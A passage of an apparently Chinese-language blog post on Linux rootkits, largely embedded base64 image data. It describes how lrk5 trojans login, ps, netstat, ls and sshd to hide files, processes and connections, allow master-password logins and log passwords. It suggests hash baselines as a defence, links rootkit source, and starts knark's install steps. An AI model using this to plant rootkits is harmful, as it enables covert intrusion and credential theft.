9wuN3Pf/fX7i0fGQYuCvPHPniY7+9dO4+16H9JFqKY/MWgswtJjUyd/X1v8oCd/n5P7/w+F3P/fh31My998wfvvvSN+f3XqEb1MjchxeTt5/78sXz9108d//Fcw9cePyuZ378+28u33Pp/P2Xzt138Rdfevelb3y6+uT83it0g3r1c7tbn3x6dfnyy//4au8Pnn/iwXd+dWJ7/cac3hl0FWo2QRoyB9KQOZCGzIE0ZA6kwcEBaXBwQBocHJBGxsGxUX9gVRlW2lFU3GVkHBwbd+aoYV8EZBwcG3fmfKMfdAkZB8eGzC0uMg5OOjIecsVGk26G82m+x1Lcw8rpLjIOTi82c+OWbpRxDiuns4g4OI4p010YrGeOyuFuIuLgkDlQkHFwMqM1TdNekl3PkbmFRMbByb7rza7RyNzigoMD0uDggDQ4OCANNZsgDZkDacgcSEPmQBoyB9Lg4IA0ODggDQ4OSBOagzPZbtAmwnJwJt0N2kRYDs6ku0GbCMvBmXQ3aBMBOTipWmXn6o+D+toNQnJwHEY1Jk4HCcrBGY6F6q5UC3eQsByc8Z9Z8shcBwnJweknidmshMx1kOAcHP12gcx1EBwckAYHB6TBwQFpqNkEacgcSEPmQBoyB9KQOZAGBwekwcEBaXBwQJqmHJxA6MUUgorTlIMzJb3C0uHs2dKaAD1zSoUozI+mHJxp6CdRXnZiZURf+r8kQlnm+km0tBTFMb2f5k9TDs6MsKtBtQL30v5hxtxKvzEJmnJwhp9uL84nQKUNTv65l3TDcRcg67Ol+XLaC5C5BmjKwRnWcKrZUnbI50SPgzOuALXzYaRGzZyWtPz8ZE6aphwc/dM1d6ham25nuXCcc56fzEnTlINTmrmKDo51am1D9ipkLiCacnDsOVCfW+0mJYqqM75tVeZb/ZFlU/STyDC3mVsboykHx/50/fcQ1jhn6f7uqz3lPP0kWopj6xbC+K5kyfEOYOYsiIPDABYQC+LgkLmAWBAHh8wFBDWbIA2ZA2nIHEhD5kAaMgfS4OCANDg4IA0ODkgj5uCMftCMk+yH0en8l/6MzgPiCDk4+e8As8rKhOcplnecGk7ZIVATIQfH1Vtkgsw5f8Kqfp5yecfScIoPgUkQcnDCyFzJG/K/RPEhUA8JB0epjIt7+WeqZsUwdPSPfvRYOU2U9F3ncdTVefDnx5s5IjcrZBwco2LXyIpRmLkU95yZ0x45zlOldsQv76h7aM+WHwL1EHFwijOnFghnQ90EmXO30XFrig55JzVfzP6fwEA3E0QcnNLM2Z/lJJnL9662aoRzn4LRktl1Nsg4OKVzq3pll02Utj9TMrdabXR0SuQd17HOQ2A6hBycwsy5L/6zberXF6ONnnsI29M3KJR33BpO9fsSqMiCODgQEAvi4EBALIiDAwFBzSZIQ+ZAGjIH0pA5kIbMgTQ4OCANDg5Ig4MD0jTo4FSgeiUHSk57aNDBqQCZ6yINOjgVKDlsdnoECNKgg1MBMtdFmnVwnD1u9Fp1azH0eSg5IEmzDo7d48aoGS7IXFpaNsxyrmHSrINjrcNvTKbZn7NRciAImnVw5pq5fG+SFxTNOjh2vxF1bh0u5mCaMjNTcqAhmnVwXL28VKU/yXeZh5IDjYCDA9Lg4IA0ODggDTWbIA2ZA2nIHEhD5kAaMgfS4OCANDg4IA0ODkgj4uDMdolKllhtOSIODpkDBSEHpz70BuksQg5OfchcZ5FwcMyauULvZlwurDs4TjEH2omIg1Pu3Vh9cLRxziPmQDsRcXBKHQidKOlrmfNJEtBORBycWt6NdQyZ6xgiDk4N72bcB8c7typiDrQTEQen1Lsp6IOTx9Ih5kAbwcEBaXBwQBocHJCGmk2QhsyBNGQOpCFzIA2ZA2lwcEAaHByQBgcHpJHpgzPp+vmzFSkgDGT64JA5yJFxcOgTAjkyDg6ZgxwRB0fLnFqKrgYx265UyJXLO9A+ZPrgaH1C8sTk9b8FS/QXyDvQSmT64IwzZ6oM40yVtyLxFBhDC5Hpg1OQuYrtb8hcd5Dpg+OfWxVlumxuJXMdQaYPToV7iFzD8d9DkLlOEKSDg8HaaQJxcPpJxOIQi0IwDo6iuBK4bkPNJkhD5kAaMgfSkDmQhsyBNDg4IA0ODkiDgwPSyDg4jRNmoXLpu+rmj4AyDk7j1MycUiHqfs5boFD3ZchcISJ9cPytSIqeKqV65oaVVHHsfq38d2Gl+qoX260GZvOuFj5zIn1wGs9c5dfyLvdePSVkrozpHJzJ2t+k9p6uzjhOl2dJb2QyelxtGizPnCcO/hg5Xjjbefhy+TtXdsj/3azlvetO5aEg5uBM0P7GwFy93+fyeLaXnd77WvYz3g/bPy71k3j8hP2uRie1WxM4/92cp2oTYg5O/fY3qn2oFw1XdXnyQ7TieH0UNV7FONCLXeWnB8BxWmt4MsY559t2V0e3eqQTc3Dqt78peKqiy6O1PVHPOvzICi6VqoyH2ouVjDhqJxWt4L5+5tynahNiDs4E7W8MCudW5SLPs300tyY9+2zFr6XMa0o5s2LZVhBulX+AfhK551bNQarUqko7rD2IOTgTtb/R0Z+a8B7CvlB3voh2CiNf9oW+fY3gP63yPYw+zsX2O3P+uzlP1SaCdHAWjnbOkZMSiIOz4JA5P/TBmQ9kDmCekDmQhsyBNGQOpCFzIA0ODkiDgwPS4OCANF13cLpZadtuuu7gkLnwCM3BmTVkLjxCc3BmDZkLDxkHx+eYFJbQKduMLUqQNOXPVVrHsp3BIePg+BwTl05i11hYW9Tq7ijKy44zz4K1iUNGxsHx1fuP/zDNlCWXJqNsyZ2bKOkPleay9iYQDDIOjidzRTqJrcmoW4YJU9LWS4zhbgSZCw8ZB8fjmDh1EluTcYkz/SSKotyJzWZYb0sdCAYZB8fnmLh1EqfP7jxUucXwrA6QMM4Fh4yDs1i111CMjIND5iBHxsEhc5BDzSZIQ+ZAGjIH0pA5kIbMgTQ4OCANDg5Ig4MD0nTdwYHw6LqD46RSmxt7gWp+SpkNXXdwTErb3Kj17cpivy1dRjVIuu7guPH8/mvVL/tqm2EamnVwlO2VV6ZW2kj4yursw53vx9qsr+ivlxiTuZnRtIOjbq/Y3abghNO1uTG2krk50ayDo2+v2t2m4ITTtblhnBOhUQenPHO+jjnFF1uTtrnRXojruXnRqIPjmM283W2yeTTJGhDZJ5yyzU1JeycyNxuad3D0D9JzD5HfGhQ3jpm2zY31Qp5DYApa6uAw6rSYljo4ZK7FtNTBIXMthppNkIbMgTRkDqQhcyANmQNpcHBAGhwckAYHB6Rpm4NjLG8ILaRtDg6Zaz+L5uBA8yymgwNN0nAfHFdziCjpjbaOCtPV0nLlx32XbmOoOhAijTo4juoQxQEb5scoKPaUtWfHErXwadbBcSoz2Z+ux2rbJeNY2o+0hGYdnPxPZXCrmDnrWDLXEhp1cBzKTOXMuY81VB0IkWYdHFuZqTHOFd6SUEQcLi11cKDFtNTBgRbTUgcHWgw1myANmQNpyBxIQ+ZAGjIH0uDggDQ4OCANDg5IE4iDU6EmhLKRrhCIg0PmFohAHBwyt0AE4uCQuQVC3MHJquBs9SaJC+rr8Go6QxMOjk+9yXWbXMLx9MiBFtOIg1Os3nhakTC3doVGHJx8o0u9IXMdR87BUfvOFKo348xpc+uwiSqZ6wKCDo6zM6ZDvckyp2v5CeNcR5BxcAByZBwcgBwZBwcgh5pNkIbMgTRkDqQhcyANmQNpcHBAGhwckAYHB6RpysGZtEqE6pL205SDE0bm8npl/aSOJTy1ulJrP+Xw4hYCVDs35+CEkDmlVsq3pOyIYSVVHFtLb492zM/Ui9X6GNfpoSkHJ4DMaafKCqiUSioTswow0hcydhWl5pkkcxkyDk5l6cY1MflNHHW7PaJ4hjH1rFrmluLeKCeJY8pMzWD1YuMtWq+Q76G8UZYblXFwqko3/SRWJjil94jLxNGlnPFeas+SKMoLjh3DjNpAIHs76kWb2UOxaGSzX8L5orRlTKUcnGrSzfgPbUjwWRHmR6oMVKPwREl/eHWlFbtr45eyIYkdEob+V41xTvs/ivlPseihk3FwhpRJN6rz4DQl0uLMqRdkStp6/iu0nHGC9Mu5kszZU/P4Gf8USuZkHJyK0o2yTZn3fCaONbcqx0ZR3okum2ELMF5Zyb13bvXclzonz16sttdb9MgJOTgVpRvl6zL1ewmvieO4h0hTLbCFF1DVv51TJnx1u912R7/bcU7iCx64FAcH5MHBAWlwcEAaajZBGjIH0pA5kIbMgTRkDqTBwQFpcHBAGhwckKZtDo6Ktto1tZCtoW0OjsrEmXPYNGXPOq0cmIi2OThu86B65pw2Tdmz1LzNlLY5ONNmruAkvmcLrByYhMAcHPMYo42JUp4WJX3VfbBL2opSWCdzRVYOTEJQDo7/qPyxstXOXHGWCt+Q99kiKwcmISgHR6+mnSBz7heyR6iamfMaEjAJITk4jt3rZs5+Ie87qTW3krkZEpKDYx2l2TDV5lbrhZzYRn6Ja1Nk2EBNgnJwTLIbAvXri9FGzz1E2fdoLptGlbqdrg3fzs0UHByQBgcHpMHBAWmo2QRpyBxIQ+ZAGjIH0pA5kAYHB6TBwQFpcHBAmqYcHBfaL+ijnz6zsjh+6+wMTTk4LowCDruOCTpBUw5OCSV9aaDNNOXglEDmOkwQDo4xoapdY2Kzg4y6oHW+0nnc68UYMi0hJAfH05RNb6dkt3Ab5pkrvtYQkoNTmjlzJXzb1YEWEJKDUyVznr5dZK5FhOTgVJpb1RZHlpUDbSAkB6c8c05Pn8y1DBwckAYHB6TBwQFpqNkEacgcSEPmQBoyB9KQOZAGBwekwcEBaXBwQJpwHBzKgReFcBycapkrWYvfuWK1+bx+YK+wYQDMnnAcnCqZ68V2mXCO4o1pRU/5s1aPm34SKYvCkjoRwnFw6s6t1irEWgp9BU7+wifmdimacnAm6oyjYfVb0jd4IuTNHJEToyEHZ7LOOPrexh7GKatmbpx95lUxGnRwKlg5nnsC97XX1OMcA50MTTk49pZKHSPSgot9q4a93vUcs6sUDTk4k3XGcU66ekcR06co7nGT37bS4kaOphyciTrjmH5rZu6oSr8t6BT1uKnWexNmCQ4OSIODA9Lg4IA01GyCNGQOpCFzIA2ZA2nIHEiDgwPS4OCANDg4IE04Do6NswbEKtWcDIpImiMcB8emucw5VB39OWoCpiAcB8emkcw5VR31WZydaQnHwbFpcG6tsEYxs/OkNOLg6PWR4w/PKmVTPvi874iaObWeTk2IUtGexPormdV3HsozR+QmpiEHR19/f1g57PRVx72Y1FXU8yZMepzy7WrFplN5LbMf/JnD2ZmaxvvgaBmybYk4jq0xzCplz3buWdvV13EbP07Np9I4x0A3GY05OMPyc4/6p1STR1FkhsWXuSjpT5A571stG8mYXSekqT44w5DEceY9OPbJhZ1I8yg8c6tjDvXNrep2J5aqk11y4uxMTWMOTmpNT9Y+6gc/fDLuVbmHyG9G9HsItQ1nUvhdiaHqGA20+X5uOpp0cCQmJybA8GjOwZlXmy5l/uNCP0iacXCymXIuKPMfgQsQajZBGjIH0pA5kIbMgTRkDqTBwQFpcHBAGhwckCZkB0eHX7G6QsgOjk7BotQ6RZ4DoQ0AGQdnFr+tVhnnvK/TTyKzEA+aQsbBEcpcwWLpUdJncg4ECQcnNqc9tZCtP46Kt8SumjWTFs2+rgpiaAoRB8eqvrQbdekLqts2TYWyJHem8pcmc4Eg4+C4Ojc4n1X/nIXBYISdzIWAjIMz/8z5I2dCSXnTiDg41tyaPU4ymVrTY4pNVQcu89Dcm3EuEIQcnNGAY3akUXz9uPgWosCacSWMzAVMCH1w5mVGQJiE0AenVubMnl+EtXWE0AeHcW6xoGYTpCFzIA2ZA2nIHEhD5kCaepk7f/78+fPnNza2nQ92d3fn9C6hS9TOXDoYrKys9PuXDw7S4YM0HaysrFy4cOHpp5++vX57Tm8UOkO9zJ07d24w2F+9eu3GjZsHB+nwweHhwerVay+88ML29vbZs2dv3bo1p/cK3aBe5lZWVvb39waD/XQwSNPBwUF6cJAeHh4cHh6cOXNmeXl5eXn5zJkz1nGeb31rrVVZ9HNp9Z9S1WU6+R66Gepl7uzZs/t7u/v7e4P9/XSwb8Tuwxs3Vt9/n8xBMfUyd+bMmZcvrhb/t7y8bB03bx+CzLWJeplbXl7e3dne293Z29vd31NGuzQf7cgcFFMvc6dPny4d506fPm0d57FsDFchiS3Vxu3gWAtJa4crWTJkn7Qsc/b+MHvqZa7X621vbe1sb+mj3d5gNNoNDg7SXs994eawbLTMqRWcWUsHl4PjGDR9h2fJyY4pyByLDwtRL3OnTp0qHedOnTplHecxHtxOVll3kaKuOvrhOuOtnsxRRixFvcydPHlya2Nja3Nze2tzONrt7uzs7Sqj3WBw8uRJ67jZZi4/yZJ7SCvQWclc89TL3IkTJ0rHuRMnTljHeSyb4sz5HBxHx5zSw9NebERt/MA9lQ/lIJgL9TJ3/PjxjfX1zfX1fLTb2trZzka73f39vePHj1vHeSybksx5HRzrZsRzuKNpTUHmbDkI5kK9zB07dqx0nDt27Nic3it0g3qZO3r06PqtWxu3b2+s395cX9/c2Nja3NBHu52jR4/O6b1CN6iXuW9XY07vFboBNZsgDZkDacgcSEPmQBoyB9JM4uD4wMGBKkzi4BjlwWk6ODw8wMGBikzi4NixOzw8wMGBisg4ONMz+ik0TuooFBAkMg7OtOTFALW0HQiS2g7O3u6OM3aFPsS0UNvWJWQcnGkhc12itoOzs71txG6gx87l4KQeHcZeodUh4yj7xT2t4jh7RqmuU3fQp+SRBOTuxQNyyDg4tt6ib9F739iXbvk4p2s7zipiX+bMZJt6DghR28HZ3tzMYre7q8sQ6SBNBw4Hx54aXXKDv8rclTmfLVE0zik7O/QcEELEwamUOb9NM4/MkbLmqO3gaDLE9tauLkMMBvsuB8fWW6y51UpXSeaK5lZlX2fm3HoOCCHj4Dj1Fv89RKXMqefUDJ1scxTH7nFOO5aLOWlqOziZDLHlkiH293abcXCYLttDex2cfhLVaO4K4dBmB0eZHwlci6BmE6QhcyANmQNpyBxIQ+ZAGvrggDT0wQFp6IMD0og5OEg0MELIwUGigQyZPjj8BA85Qg4OmYMMiT44TolGXUpdK6G0DiKsHUPGwXEXXY42OsZAapO6jEwfHE+hr6OjjbE3dBCZPjhkDnJk+uAUza35lye0pFkMhBwcO3PKJdv4doKWNIsBfXBAmvY6ONBW2uzgQDuhZhOkIXMgDZkDacgcSEPmQBr64IA09MEBaeiDA9IE3gen1gLTtubTi6scjaIhi4yDM0yD/bmqi+c7qZE5l+ZD5kJEpg9OP4mWoigyPtjRuDSjzLmK7qplDmSRcXD6STSc8tQE9JNIWwfYBZnrIDJ9cEbR0WIx/MPsDmIUzSmZ09qKmIaOp1eOmjm/1KPtb3bhgZkj4+CohZr6QuZqMWc8/pCdu+UZcHex8aznbz7pWUO9qAsPzBaRPjj5pzr+JLMM6DOiNdL1k2gpjnUV0dPFpihzxY1vXLlVOwXAbJFxcEwJIr+K0/rX2KEZbo20Icdj6JRkriA/ZE4WmT446nQ2HHOUv6wBz9G/RjWwPV1syuZW65Bs9iRzssg4ONollGkbqiZOUf8aJayuLjaFmXMdQuYaoit9cKA94OCANDg4IA01myANmQNpyBxIQ+ZAGjIH0uDggDQ4OCANDg5IE7iDAx0kNAdHK/g1T+AofnOd2VU3MDyuN/5bObe6D4XsEoTk4ChVusM/8xo7q7BTK16P9fI4z4LZ5pPmqdSXhDkSjoPjakzi224Wr+uF5FUzV0uehZkRjIPjK+V1b9fKix1tdapkjgK5hgjGwamXOU2wUMrYjUp0x2Vgzy6L13Zk4Js7wTg4tTOnj3PjV9GH08Jxzt3ziczNnWAcnKLQlV7Pqa+j3lIUX8/Zr0jmJAjGwdHNr+FTthGW7eeQrvMnHQJZmp/VmFGNO14yN3fCcXDGf9b/fk6PiVtaNE5jDI1u7xXmAw4OSIODA9Lg4IA01GyCNGQOpCFzIA2ZA2nIHEiDgwPS4OCANDg4IA0ODkgj6eDYP6Tr2+2f463lzYt2LnF8Cg4HUeQcHK1Rg7K8qvvD7ydRFNlFIaqhs6RXNJU5PtgPoSDo4KhxKcvcsA5YL2cr6OtQxfEhc6Eg6uBkj8vMq3HpuSUG2qVyqhVR2GeHzIWCnIPjN6KtSyy/J1OcuZI+O87XAnGEHRzDbnCPPWrQCnVU28Qp6LPDOBcK4g6OljpnDqxGSU7dJvXkyev4kLlQkHdw1As6Vw5Mzyv7275vdU67PseHzIVCAw6O8t2b8Z3ZaFY0ojHeUmDL1Ouzg23TLDg4IA0ODkiDgwPSULMJ0pA5kIbMgTRkDqQhcyDNJA7Oxsa28wEODlRhEgdnZWWl3798cJAOH6TpYGVlBQcHKjKJg7N69dqNGzcPDtLhg8PDg9Wr13BwoCKtc3BcP9XrS/Vb+FaNhWaQcXBmCJlrPbUdnJcvrhb/5/IhpsQsbfeXJPkK8shcQMg4OFNC5jpFbQendJzzOziqbepbrNrermyJkr6aqmFFXNxTFBxnddy4dBgTIgwkHRzNcNUELSVeru2ucU7d15AOncXu+fOMeQ1T28EpHeeKHZw0tec629EyjrIyF+vFxOWZU6vYyVzDyDs4zmzZNquy3W6wFEXacEXmWkVtB6d0nCt1cBxzqLNRq1ufGT9W1zNxZi6fRslcWDTi4KR17iHGx9v3EJniZd1XLEVJn8yFSm0Hp3Scw8GBYnBwQBocHJCGmk2QhsyBNGQOpCFzIA2ZA2nogwPS0AcHpKEPDkgTkoOjFbeNfjjNapk81ZbOGmCW1AyakBwcz6KvhQkic+1Dpg9ObTxLpxfvmEHmgiZQB4fMdRiZPjjqAtKZ+pB7McaEqtTQxbHy2FBy8tpi069xeToQDCIOjmPccXkxZpcHe5zTC4l953F6OhAMMn1whoOT+vG7andLM+eYSJ01wC5PB4JBxsEZ0le6rM49c6anA8Eg0gennyTm9x4TZU5rWNJLTFfM8sRUTweCQcbBUa78HaGqnjn1ZkS5F/FlLn9lghcQ9MEBaXBwQBocHJCGmk2QhsyBNGQOpCFzIA2ZA2nogwPS0AcHpKEPDkgTkoNTBdbdbz8hOThVIHPtp/E+ODXdBTLXfhp3cMjcwiHRB8dddNmLl6IoM3Ps/jhKtNSFrZ2Gg/MoCBQJBycfynpxFEV6cbpRX6l5/OOKYl8HHf82CBiRPji5hxUl/V48WnLfqunVh7PRoGVMpvbcymzbNsT64Ohp62VtGjwF6RlkrnPI9MFJ+0kURXn3rmyGtd0FZRrNJWq98VI2PmaztCHmQNAIOThWqyTLqlEsQbMLjnqHkMRW5mwxB4KGPjggDQ4OSIODA9JQswnSkDmQhsyBNGQOpCFzIA2ZA2nIHEhD5kCa/wcWsykwrKVZdQAAAABJRU5ErkJggg==" alt="" />

lrk5进行的替换如下:

. chfn
这个指令用来修改用户的finger information(指纹信息),作为后门的chfn可以接收用户输入的password,从而进入rootkit模式 . chsh
切换shell的指令,作为后门的chfn可以接收用户输入的password,从而进入rootkit模式 . crontab
使用预设的"正常"的crontab(计划任务)给用户看,从而将rootkit设置的后门启动项隐藏起来 . du
和ls作用类似,rootkit劫持后会隐藏rootkit相关文件,从而欺骗用户 . find
find [-H] [-L] [-P] [-Olevel] [-D help|tree|search|stat|rates|opt|exec] [path...] [expression]
寻找指定文件的指令,rootkit劫持后会隐藏rootkit相关文件,从而欺骗用户 . ifconfig
rootkit劫持后会隐藏"混杂模式"的标志位(混杂模式被rootkit用来进行网络流量嗅探) . inetd
用户后门访问的远程访问服务器 . killall
rootkit劫持了原本的"杀进程kill、killall"指令之后,会在本地维护一份"ROOTKIT_PROCESS_FILE"列表,凡是在这个列表中的进程都禁止杀死,以此对抗系统管理员使用kill命令强行结束rootkit后门程序 . login
rootkit劫持了login程序之后,除了保证原本的正常用户登录过程,还允许rootkit种植者使用一种叫"万能密码"的机制,即只要用户输入的密码是一个指定的"万能密码",则用户可以以任何身份登录任何用户 . ls
对指定文件列表中的文件进行隐藏 . netstat
对当前网络连接状态进行修改、隐藏
) type : hide uid
) type : hide local address
) type : hide remote address
) type : hide local port
) type : hide remote port
) type : hide UNIX socket path
example:
) : Hides all connections by uid
) 128.31: Hides all local connections from 128.31.X.X
) 128.31.39.20: Hides all remote connections to 128.31.39.20
) : Hides all local connections from port
) : Hides all remote connections to port
) .term/socket: Hides all UNIX sockets including the path . passwd
Local user->root. Enter your rootkit password instead of your old password. . ps
修改、隐藏执行进程
An example data file is as follows:
) Strips all processes running under root
) p0 Strips tty p0
) sniffer Strips all programs with the name sniffer
) hack Strips all programs with 'hack' in them,ie. proghack1, hack.scan, snhack etc. . sshd
可以实现键盘、密码记录的功能 . syslogd
修改、隐藏某些日志信息

lrk5为每一种需要"劫持"的指令程序都编写了一个对应的ELF程序,从这里可以看出,lrk5只是在进行指令的劫持和替换,属于第一代rootkit,代码量较多,隐蔽性较差

0x3: Defense Strategy

针对这种rootkit,可以很容易地通过对系统关键目录建立"黄金基准hash库",只要匹配到指定敏感目录中的文件的hash值产生变化(即被修改和替换了),即表明当前系统遭受到了rootkit的攻击

典型的如: tripwire

lrk5进行的替换如下:

Relevant Link:

http://packetstormsecurity.com/files/10533/lrk5.src.tar.gz.html
https://github.com/eqmcc/rk/tree/master/lrk5

3. knark Rootkit

0x1: Installation && Usage

make
insmod knark

aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAALQAAAF7CAIAAAD0ZjawAAASk0lEQVR4nO2d24/b1p3H59/i86YousUai2CRh+bSdFN2t+gtSC/bFshub3CbXYQw+lIsFu7LIkVbjJu4spvpZKZjx3YuUztN28SW7zOxHTuOmsz9JmrcB0nUuf1IkZIOqdHnAz9oOOdQNPjVOWfED3+cigEEpso+AKguhANECAeIEA4QIRwgQjhAhHCACOEAEcIBIrnDsdP4zebdaOP282tLz63e+Mnq9ec+vnr4o8s/bFz63v13n/3w8v+s3VsYxYGCf/KGo7l59/nm1vFW84ON+//7t5s/vnbhO3ubc629V9v/djd+d+/dH4/kSME7uUeOzbvPN7dPNLdPPHgQP3gQL/3xi+++9l9bH/0m3l1obr+yt/Hy7QvPjOJAwT/Fw9HcPvHgwYPrb3z+z6e+fecv39/beHl37fj2x9PvnX96FAcK/skfjvfVcMRXzn727T9849afnt3+eHqz8cL6Bz9fXvzqKA4U/JM7HOt3/rudjN3Nl/ZbG5dOfeatua8un//W+gc/X7vzs5X3jtx880ujOFDwT+5wrN36STsZ26u/jvfuvTP/yIXf//vSm0+vvHfkoxvPNa784L3zX7t/7YVRHCt4Jnc4VpZ+1E7GRuP/t1Zf+8vsw3/83eduvPbFxpUf3L/03Xt//fr7b3/l2rnQ2bceBVMdwlp3Q1irhVNTU0FUj+M4roXdFp0NUB65w/HRje+3k7Fy9/8ayz99++VDb/720WuvPtWOxe0LX2g0GlfPPOXo2U6CtWmqt7EWkokqkTscjavPJsm4d/W5t0784xsv/suVhcduX/jCrcUnl19/tNFoXHn1X11d26OCevb1vNRColEpcofjg/p3kmTcfud753/7ydemD12ee2T59UeXzj1y88zDjUbj8ukn5R20R4t2CghHpckdjrvvfDNJxtJb/7H40ifO/upT9dmHb555+MbpQzdOH3r899frp55w9KxHUa37qpMJY6aphb05phaRk7LJHY7bf346Scb1N7+2+OJDZ3/5iUszh9rJuHH60Kde+OulhcedfXurzU4ErGVIb8lqrE6gBHKHY/mtLyfJuHL23xZffOjML/5BDcf10/987fWvj+JYwTO5w/H+xejymc9ePPX4xYUnLi48ufjiQ6d/8el3Zh65dOqJ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